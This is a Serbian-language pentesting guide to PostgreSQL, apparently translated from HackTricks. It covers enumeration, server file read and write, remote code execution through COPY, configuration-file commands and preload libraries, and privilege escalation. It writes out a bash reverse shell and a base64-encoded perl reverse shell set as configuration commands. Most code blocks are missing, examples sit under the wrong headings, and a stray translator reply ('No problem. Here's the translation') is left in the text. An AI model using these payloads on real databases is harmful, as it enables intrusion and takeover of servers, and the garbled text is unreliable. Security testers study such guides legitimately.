5432,5433 - Pentesting Postgresql
Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice. Dobijte pristup danas:
Osnovne informacije
PostgreSQL je opisan kao objektno-relacioni sistem baza podataka koji je open source. Ovaj sistem ne samo da koristi SQL jezik već ga i unapređuje dodatnim funkcijama. Njegove mogućnosti mu omogućavaju da obradi širok spektar tipova podataka i operacija, čineći ga svestranim izborom za programere i organizacije.
Podrazumevani port: 5432, a ako je ovaj port već zauzet, čini se da će postgresql koristiti sledeći port (verovatno 5433) koji nije zauzet.
Poveži se & Osnovno nabrajanje
Ako prilikom pokretanja \list
komande pronađete bazu podataka pod nazivom rdsadmin
, znate da se nalazite unutar AWS postgresql baze podataka.
Za više informacija o zloupotrebi PostgreSQL baze podataka pogledajte:
pagePostgreSQL injectionAutomatsko nabrajanje
Skeniranje portova
Prema ovom istraživanju, kada pokušaj povezivanja ne uspe, dblink
baca izuzetak sqlclient_unable_to_establish_sqlconnection
uključujući objašnjenje greške. Primeri ovih detalja su navedeni ispod.
Host je nedostupan
DETAIL: nije moguće povezati se na server: Nema rute do hosta Da li je server pokrenut na hostu "1.2.3.4" i prihvata li TCP/IP konekcije na portu 5678?
Port je zatvoren
Port je otvoren
Nema problema. Eno prevod:
-h
: Server na koji se povezujete-U
: Korisničko ime-d
: Ime baze podataka
DETAIL: FATAL: password authentication failed for user "name"
DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
Tabele
Funkcije
Radnje sistema datoteka
Čitanje direktorijuma i datoteka
Od ovog commit članovi definisane grupe DEFAULT_ROLE_READ_SERVER_FILES
(pozvane pg_read_server_files
) i super korisnici mogu koristiti COPY
metod na bilo kojoj putanji (proverite convert_and_check_filename
u genfile.c
):
Zapamtite da ako niste super korisnik, ali imate dozvole CREATEROLE, možete postati član te grupe:
Postoje druge postgres funkcije koje se mogu koristiti za čitanje datoteka ili listanje direktorijuma. Samo superkorisnici i korisnici sa eksplicitnim dozvolama ih mogu koristiti:
Možete pronaći više funkcija na https://www.postgresql.org/docs/current/functions-admin.html
Jednostavno pisanje datoteka
Samo super korisnici i članovi pg_write_server_files
mogu koristiti kopiranje za pisanje datoteka.
Zapamtite da ako niste super korisnik, ali imate dozvole CREATEROLE
, možete postati član te grupe:
Zapamtite da COPY ne može rukovati znakovima nove linije, stoga čak i ako koristite base64 payload morate poslati jednolinijski.
Veoma važno ograničenje ove tehnike je da copy
ne može se koristiti za pisanje binarnih fajlova jer modifikuje neke binarne vrednosti.
Uploadovanje binarnih fajlova
Međutim, postoje druge tehnike za uploadovanje velikih binarnih fajlova:
pageBig Binary Files Upload (PostgreSQL)Savet za bug bounty: registrujte se za Intigriti, premium platformu za bug bounty kreiranu od strane hakera, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas, i počnite da zarađujete nagrade do $100,000!
Ažuriranje podataka tabele PostgreSQL putem lokalnog pisanja fajlova
Ako imate neophodne dozvole za čitanje i pisanje fajlova servera PostgreSQL, možete ažurirati bilo koju tabelu na serveru tako što ćete prepisati povezani fajl čvora u direktorijumu podataka PostgreSQL-a. Više o ovoj tehnici ovde.
Potrebni koraci:
Dobijanje direktorijuma podataka PostgreSQL-a
Napomena: Ako niste u mogućnosti da dobijete trenutnu putanju direktorijuma podataka iz podešavanja, možete upitati glavnu verziju PostgreSQL-a putem upita SELECT version()
i pokušati da grubo otkrijete putanju. Česte putanje direktorijuma podataka na Unix instalacijama PostgreSQL-a su /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
. Često ime klastera je main
. 2. Dobijanje relativne putanje do fajl čvora, povezanog sa ciljnom tabelom
Ovaj upit treba da vrati nešto poput base/3/1337
. Puna putanja na disku će biti $PUTANJA_PODATAKA/base/3/1337
, tj. /var/lib/postgresql/13/main/base/3/1337
. 3. Preuzimanje fajl čvora kroz funkcije lo_*
Dobijanje tipa podataka, povezanog sa ciljnom tabelom
Koristite PostgreSQL Filenode Editor da uredite fajl čvor; postavite sve
rol*
boolean vrednosti na 1 za pune dozvole.
(Opciono) Očistite keširanu tabelu iz memorije pokretanjem skupog SQL upita
Sada biste trebali videti ažurirane vrednosti tabele u PostgreSQL-u.
Takođe možete postati superadmin uređivanjem tabele pg_authid
. Pogledajte sledeću sekciju.
RCE
RCE do programa
Od verzije 9.3, samo super korisnici i članovi grupe pg_execute_server_program
mogu koristiti copy za RCE (primer sa eksfiltracijom:
Primer za izvršenje:
Zapamtite da ako niste super korisnik, ali imate dozvole CREATEROLE
, možete postati član te grupe:
Ili koristite modul multi/postgres/postgres_copy_from_program_cmd_exec
iz metasploita.
Više informacija o ovoj ranjivosti ovde. Dok je prijavljeno kao CVE-2019-9193, Postgres je saopštio da je ovo funkcionalnost i neće biti popravljeno.
RCE sa PostgreSQL jezicima
pageRCE with PostgreSQL LanguagesRCE sa PostgreSQL ekstenzijama
Kada ste naučili iz prethodnog posta kako da otpremite binarne datoteke, možete pokušati da dobijete RCE otpremajući postgresql ekstenziju i učitavajući je.
pageRCE with PostgreSQL ExtensionsRCE sa konfiguracionom datotekom PostgreSQL-a
Sledeći RCE vektori su posebno korisni u ograničenim SQLi kontekstima, jer se svi koraci mogu izvršiti putem ugniježdenih SELECT izjava
Konfiguraciona datoteka PostgreSQL-a je upisiva od strane postgres korisnika, koji pokreće bazu podataka, tako da kao superkorisnik možete pisati datoteke u fajl sistem, i stoga možete prepisati ovu datoteku.
RCE sa ssl_passphrase_command
Više informacija o ovoj tehnici ovde.
Konfiguraciona datoteka ima neke zanimljive atribute koji mogu dovesti do RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
Putanja do privatnog ključa baze podatakassl_passphrase_command = ''
Ako je privatna datoteka zaštićena lozinkom (šifrovana) postgresql će izvršiti komandu naznačenu u ovom atributu.ssl_passphrase_command_supports_reload = off
Ako je ovaj atribut uključen komanda izvršena ako je ključ zaštićen lozinkom će se izvršiti kada se izvršipg_reload_conf()
.
Zatim, napadač će morati:
Izvući privatni ključ sa servera
Šifrovati preuzeti privatni ključ:
rsa -aes256 -in preuzeti-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
Prepisati
Izvući trenutnu postgresql konfiguraciju
Prepisati konfiguraciju sa navedenim atributima konfiguracije:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
Izvršiti
pg_reload_conf()
Prilikom testiranja primetio sam da će ovo raditi samo ako datoteka privatnog ključa ima privilegije 640, da je vlasnik root i da je grupa ssl-cert ili postgres (tako da postgres korisnik može da je čita), i da je smeštena u /var/lib/postgresql/12/main.
RCE sa archive_command
Više informacija o ovoj konfiguraciji i o WAL ovde.
Još jedan atribut u konfiguracionoj datoteci koji je iskorišćiv je archive_command
.
Da bi ovo radilo, postavka archive_mode
mora biti 'on'
ili 'always'
. Ako je to tačno, tada bismo mogli prebrisati komandu u archive_command
i naterati je da se izvrši putem WAL (write-ahead logging) operacija.
Opšti koraci su:
Proveriti da li je režim arhiviranja omogućen:
SELECT current_setting('archive_mode')
Prebrisati
archive_command
sa payload-om. Na primer, reverzna ljuska:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
Ponovo učitati konfiguraciju:
SELECT pg_reload_conf()
Naterati operaciju WAL da se izvrši, što će pozvati arhivsku komandu:
SELECT pg_switch_wal()
iliSELECT pg_switch_xlog()
za neke verzije Postgresa
RCE sa bibliotekama učitavanja pre učitavanja
Više informacija o ovoj tehnici ovde.
Ovaj vektor napada koristi sledeće konfiguracione promenljive:
session_preload_libraries
-- biblioteke koje će biti učitane od strane PostgreSQL servera pri povezivanju klijenta.dynamic_library_path
-- lista direktorijuma gde će PostgreSQL server tražiti biblioteke.
Možemo postaviti vrednost dynamic_library_path
na direktorijum koji je upisiv od strane postgres
korisnika koji pokreće bazu podataka, na primer, /tmp/
direktorijum, i otpremiti zlonamerni .so
objekat tamo. Zatim ćemo naterati PostgreSQL server da učita našu novu otpremljenu biblioteku uključivanjem je u promenljivu session_preload_libraries
.
Koraci napada su:
Preuzmite originalni
postgresql.conf
Uključite
/tmp/
direktorijum u vrednostdynamic_library_path
, na primerdynamic_library_path = '/tmp:$libdir'
Uključite ime zlonamerne biblioteke u vrednost
session_preload_libraries
, na primersession_preload_libraries = 'payload.so'
Proverite glavnu verziju PostgreSQL-a putem upita
SELECT version()
Kompajlirajte zlonamerni kod biblioteke sa odgovarajućim PostgreSQL dev paketom Primer koda:
Kompajliranje koda:
Otpremite zlonamerni
postgresql.conf
, kreiran u koracima 2-3, i prepišite originalniOtpremite
payload.so
iz koraka 5 u/tmp
direktorijumPonovo učitajte konfiguraciju servera ponovnim pokretanjem servera ili pozivanjem upita
SELECT pg_reload_conf()
Prilikom sledeće DB konekcije, dobićete vezu za reverznu ljusku.
Postgres Privesc
CREATEROLE Privesc
Grant
Prema dokumentaciji: Uloge koje imaju privilegiju CREATEROLE
mogu dodeljivati ili oduzimati članstvo u bilo kojoj ulozi koja nije superkorisnik.
Dakle, ako imate dozvolu CREATEROLE
možete sebi dodeliti pristup drugim ulogama (koje nisu superkorisnici) što vam omogućava čitanje i pisanje fajlova i izvršavanje komandi:
Izmena lozinke
Korisnici sa ovom ulogom takođe mogu promeniti lozinke drugih ne-superkorisnika:
Privesc do SUPERUSER
Prilično je uobičajeno da lokalni korisnici mogu da se prijave u PostgreSQL bez unošenja bilo kakve lozinke. Stoga, kada ste prikupili dozvole za izvršavanje koda, možete zloupotrebiti ove dozvole da biste dobili ulogu SUPERUSER
:
Ovo je obično moguće zbog sledećih linija u fajlu pg_hba.conf
:
ALTER TABLE privesc
U ovom writeup-u je objašnjeno kako je bilo moguće privesc u Postgres GCP zloupotrebom ALTER TABLE privilegije koja je dodeljena korisniku.
Kada pokušate dodeliti vlasništvo nad tabelom drugom korisniku, trebalo bi da dobijete grešku koja to sprečava, ali očigledno je GCP dao tu opciju korisniku postgres koji nije superkorisnik u GCP-u:
Povezujući ovu ideju sa činjenicom da kada se IZVRŠE INSERT/UPDATE/ANALYZE komande na tabeli sa funkcijom indeksa, funkcija se poziva kao deo komande sa dozvolama vlasnika tabele. Moguće je kreirati indeks sa funkcijom, dati vlasničke dozvole superkorisniku nad tom tabelom, a zatim izvršiti ANALYZE nad tabelom sa zlonamernom funkcijom koja će moći da izvršava komande jer koristi privilegije vlasnika.
Eksploatacija
Počnite kreiranjem nove tabele.
Ubacite neki nebitan sadržaj u tabelu kako biste obezbedili podatke za funkciju indeksiranja.
Razvijte zlonamernu funkciju indeksiranja koja sadrži izvršnu naredbu, omogućavajući izvršavanje neovlašćenih komandi.
Izmijenite vlasnika tabele u "cloudsqladmin," koji je uloga superkorisnika GCP-a ekskluzivno korišćena od strane Cloud SQL-a za upravljanje i održavanje baze podataka.
Izvršite ANALIZU operaciju na tabeli. Ova radnja nateruje PostgreSQL engine da pređe u korisnički kontekst vlasnika tabele, "cloudsqladmin." Kao rezultat, zlonamerna funkcija indeksiranja se poziva sa dozvolama "cloudsqladmin-a," omogućavajući izvršavanje prethodno neovlašćene shell komande.
U PostgreSQL-u, ovaj tok izgleda nekako ovako:
Zatim će tabela shell_commands_results
sadržati izlaz izvršenog koda:
Lokalni Login
Neke pogrešno konfigurisane postgresql instance mogu dozvoliti prijavljivanje bilo kog lokalnog korisnika, moguće je lokalno sa 127.0.0.1 koristeći dblink
funkciju:
Imajte na umu da bi prethodni upit radio funkcija dblink
mora postojati. Ako ne postoji, možete pokušati da je kreirate sa
Ako imate lozinku korisnika sa više privilegija, ali korisniku nije dozvoljeno da se prijavi sa spoljne IP adrese, možete koristiti sledeću funkciju da izvršite upite kao taj korisnik:
Moguće je proveriti da li ova funkcija postoji sa:
Prilagođena definisana funkcija sa SECURITY DEFINER
U ovom objašnjenju, pentesteri su uspeli da privesc unutar postgres instanci koje je obezbedio IBM, jer su pronašli ovu funkciju sa SECURITY DEFINER zastavicom:
Kako je objašnjeno u dokumentaciji funkcija sa SECURITY DEFINER se izvršava sa privilegijama korisnika koji je vlasnik. Stoga, ako je funkcija ranjiva na SQL Injection ili vrši privilegovane akcije sa parametrima koje kontroliše napadač, može biti zloupotrebljena za escalaciju privilegija unutar postgres-a.
Na liniji 4 prethodnog koda možete videti da funkcija ima zastavicu SECURITY DEFINER.
I onda izvršite komande:
Provala BruteForce-om pomoću PL/pgSQL
PL/pgSQL je potpuno opremljeni programski jezik koji nudi veću proceduralnu kontrolu u poređenju sa SQL-om. Omogućava korišćenje petlji i drugih kontrolnih struktura radi poboljšanja logike programa. Pored toga, SQL naredbe i okidači imaju mogućnost da pozovu funkcije koje su kreirane korišćenjem PL/pgSQL jezika. Ova integracija omogućava sveobuhvatan i fleksibilan pristup programiranju baze podataka i automatizaciji. Možete zloupotrebiti ovaj jezik kako biste zatražili od PostgreSQL-a da brute-force-uje korisničke podatke.
pagePL/pgSQL Password BruteforcePovećanje privilegija pisanjem preko internih PostgreSQL tabela
Sledeći vektor povećanja privilegija je posebno koristan u kontekstima ograničenih SQLi, jer se svi koraci mogu izvršiti kroz ugnježdene SELECT naredbe
Ako možete čitati i pisati fajlove servera PostgreSQL-a, možete postati superkorisnik pisanjem preko PostgreSQL on-disk filenode-a, koji je povezan sa internom tabelom pg_authid
.
Pročitajte više o ovoj tehnici ovde.
Koraci napada su:
Dobijanje PostgreSQL direktorijuma sa podacima
Dobijanje relativne putanje do filenode-a, povezanog sa tabelom
pg_authid
Preuzimanje filenode-a kroz funkcije
lo_*
Dobijanje tipa podataka, povezanog sa tabelom
pg_authid
Koristite PostgreSQL Filenode Editor da uredite filenode; postavite sve
rol*
boolean zastave na 1 za puna ovlašćenja.Ponovo otpremite uređeni filenode putem funkcija
lo_*
, i prepišite originalni fajl na disku(Po želji) Očistite keširanu tabelu u memoriji pokretanjem skupog SQL upita
Sada biste trebali imati privilegije potpunog superadmina.
POST
beleženje
Unutar fajla postgresql.conf možete omogućiti postgresql zapise menjanjem:
Zatim, ponovo pokrenite servis.
pgadmin
pgadmin je platforma za administraciju i razvoj PostgreSQL baza podataka. Možete pronaći šifre unutar datoteke pgadmin4.db Možete ih dešifrovati koristeći funkciju decrypt unutar skripte: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
pg_hba
Klijentska autentikacija u PostgreSQL-u se upravlja kroz konfiguracioni fajl koji se zove pg_hba.conf. Ovaj fajl sadrži niz zapisa, pri čemu svaki specificira tip konekcije, opseg IP adresa klijenta (ako je primenljivo), ime baze podataka, korisničko ime i metod autentikacije koji se koristi za povezivanje konekcija. Prvi zapis koji se poklapa sa tipom konekcije, adresom klijenta, traženom bazom podataka i korisničkim imenom se koristi za autentikaciju. Ne postoji rezervna opcija ili bekapanje ako autentikacija ne uspe. Ako nijedan zapis ne odgovara, pristup je odbijen.
Dostupni metodi autentikacije zasnovani na lozinkama u pg_hba.conf su md5, crypt i password. Ovi metodi se razlikuju u načinu prenosa lozinke: MD5 heširanje, kriptovano šifrovanje ili čisti tekst. Važno je napomenuti da metoda crypt ne može biti korišćena sa lozinkama koje su enkriptovane u pg_authid.
Last updated